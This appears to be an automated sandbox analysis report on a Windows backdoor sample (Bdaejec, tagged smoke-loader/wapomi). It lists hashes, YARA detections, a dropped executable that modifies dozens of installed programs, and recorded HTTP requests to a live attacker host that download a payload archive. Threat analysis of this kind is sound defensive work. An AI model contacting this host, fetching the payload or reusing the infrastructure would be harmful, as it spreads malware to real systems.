bdaejec | 71d62ba662ba5220d5b0406d5005888d333aa2470cc437077627a7340e1d68a4

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
08/01/2025, 10:23 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe
Size

80KB
MD5

7704419fd579bfdc1388adadef8d2907
SHA1

3355e0bc95f6358d63c6627c23802bc180384fd9
SHA256

71d62ba662ba5220d5b0406d5005888d333aa2470cc437077627a7340e1d68a4
SHA512

2a37146e6f64fbc166e2d126a27cf13ad682848d8f0cd31380395ba7879b6d88cc51764ca98e17857de2df05a12c1747314a5051b863aeaea104d9e66a9b281b
SSDEEP

1536:2HB0UxMkzOt7HcvJGt5AdHIOWnToIf12Zi9GCq2iW7z:2hAWJGSCTBf12ZuGCH

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 2 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/2792-11-0x0000000000E10000-0x0000000000E19000-memory.dmp	family_bdaejec_backdoor
behavioral1/memory/2792-23-0x0000000000E10000-0x0000000000E19000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00070000000120fb-2.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
2792	ZEi.exe

Loads dropped DLL 2 IoCs

pid	Process
2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe
2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jre7\bin\java-rmi.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jabswitch.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaws.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe	ZEi.exe
File opened for modification	C:\Program Files\Mozilla Firefox\private_browsing.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleCrashHandler64.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\NAMECONTROLSERVER.EXE	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jinfo.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jp2launcher.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\keytool.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmid.exe	ZEi.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\PurblePlace.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jhat.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\launcher.exe	ZEi.exe
File opened for modification	C:\Program Files\Microsoft Games\Mahjong\Mahjong.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\reader_sl.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\IEContentService.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE	ZEi.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	ZEi.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javah.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\policytool.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\WORDICON.EXE	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\native2ascii.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jabswitch.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateComRegisterShell64.exe	ZEi.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	ZEi.exe
File opened for modification	C:\Program Files\Windows Mail\WinMail.exe	ZEi.exe
File opened for modification	C:\Program Files\DVD Maker\DVDMaker.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\serialver.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\unpack200.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOSYNC.EXE	ZEi.exe
File opened for modification	C:\Program Files\Mozilla Firefox\updater.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	ZEi.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\idlj.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\tnameserv.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\INFOPATH.EXE	ZEi.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmiregistry.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\java-rmi.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\java.exe	ZEi.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	ZEi.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateSetup.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\schemagen.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\ktab.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jre7\bin\pack200.exe	ZEi.exe
File opened for modification	C:\Program Files\Windows Journal\Journal.exe	ZEi.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	ZEi.exe
File opened for modification	C:\Program Files\Microsoft Games\Minesweeper\MineSweeper.exe	ZEi.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZEi.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2792	2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe	30
PID 2680 wrote to memory of 2792	2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe	30
PID 2680 wrote to memory of 2792	2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe	30
PID 2680 wrote to memory of 2792	2680	2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe	30
PID 2792 wrote to memory of 2620	2792	ZEi.exe	31
PID 2792 wrote to memory of 2620	2792	ZEi.exe	31
PID 2792 wrote to memory of 2620	2792	ZEi.exe	31
PID 2792 wrote to memory of 2620	2792	ZEi.exe	31

C:\Users\Admin\AppData\Local\Temp\2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-08_7704419fd579bfdc1388adadef8d2907_smoke-loader_wapomi.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Users\Admin\AppData\Local\Temp\ZEi.exe
  C:\Users\Admin\AppData\Local\Temp\ZEi.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\42735f85.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2620

Network

DNS

ddos.dnsnb8.net

ZEi.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

ZEi.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

ZEi.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

ZEi.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

ZEi.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

ZEi.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

ZEi.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

ZEi.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

ZEi.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

ZEi.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

ZEi.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar

8.8.8.8:53

ddos.dnsnb8.net

dns

ZEi.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\42735f85.bat

Filesize
181B

MD5
6e41efd64b5d48e3153a15d1e38dfb6a

SHA1
377f6992eea1f25497497e26957bf57d649373c5

SHA256
ad9f993e8a041b397a6cc21242a5cd845fee515cf08769ca45be6fe8083f43a1

SHA512
5529596ba809dd40b9a205674d13cf6cd3e3979912d505c8bf162860168a9355f7dbf6260798d27f2f7e36b10378a0bb1c1bd721e19b6cdcf7f274d9d286130b

Download Submit
\Users\Admin\AppData\Local\Temp\ZEi.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/2680-0-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2680-4-0x0000000000230000-0x0000000000239000-memory.dmp

Filesize
36KB

Download
memory/2680-25-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2680-26-0x0000000000400000-0x0000000000415000-memory.dmp

Filesize
84KB

Download
memory/2680-27-0x0000000000230000-0x0000000000239000-memory.dmp

Filesize
36KB

Download
memory/2792-11-0x0000000000E10000-0x0000000000E19000-memory.dmp

Filesize
36KB

Download
memory/2792-23-0x0000000000E10000-0x0000000000E19000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.